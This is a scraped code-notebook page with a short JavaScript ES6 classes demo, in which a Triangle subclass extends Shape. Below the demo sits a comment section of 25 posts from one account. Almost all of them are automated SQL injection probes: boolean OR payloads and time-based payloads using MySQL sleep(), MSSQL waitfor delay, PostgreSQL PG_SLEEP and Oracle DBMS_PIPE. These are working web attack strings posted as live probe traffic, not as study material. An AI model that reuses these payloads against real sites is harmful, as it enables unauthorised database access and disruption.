ES6 Classes

node v4.9.1
version: 1.0.0
endpointsharetweet
Classes are a shorthand that make it easier to work with JavaScript's existin prototypal inheritance.
class Shape { constructor(sides) { this._sides = sides; } get sides() { return this._sides; } }
class Triangle extends Shape { constructor(...angles) { super(3) this._angles = angles; if (angles.length !== 3 || angles[0] + angles[1] + angles[2] !== 180) throw RangeError("Triangles must have 3 sides at angles equaling 180"); } get angles() { return this._angles; } }
(new Triangle(90,45,45)).sides
Loading…

25 comments

  • posted a month ago by xsjybldb
    1
  • posted a month ago by xsjybldb
    1
  • posted a month ago by xsjybldb
    -1 OR 2+273-273-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    -1 OR 2+119-119-1=0+0+0+1
  • posted a month ago by xsjybldb
    -1' OR 2+29-29-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    -1' OR 2+495-495-1=0+0+0+1 or 'CleoXME9'='
  • posted a month ago by xsjybldb
    -1" OR 2+575-575-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted a month ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted a month ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted a month ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted a month ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    YfVXqOYZ'; waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    -5 OR 456=(SELECT 456 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    -5) OR 482=(SELECT 482 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    -1)) OR 469=(SELECT 469 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    mTF0aTCc' OR 838=(SELECT 838 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    x3g05Swr') OR 248=(SELECT 248 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    Fp4l1M4X')) OR 822=(SELECT 822 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted a month ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted a month ago by xsjybldb
    1'"
  • posted a month ago by xsjybldb
    @@oT91d

sign in to comment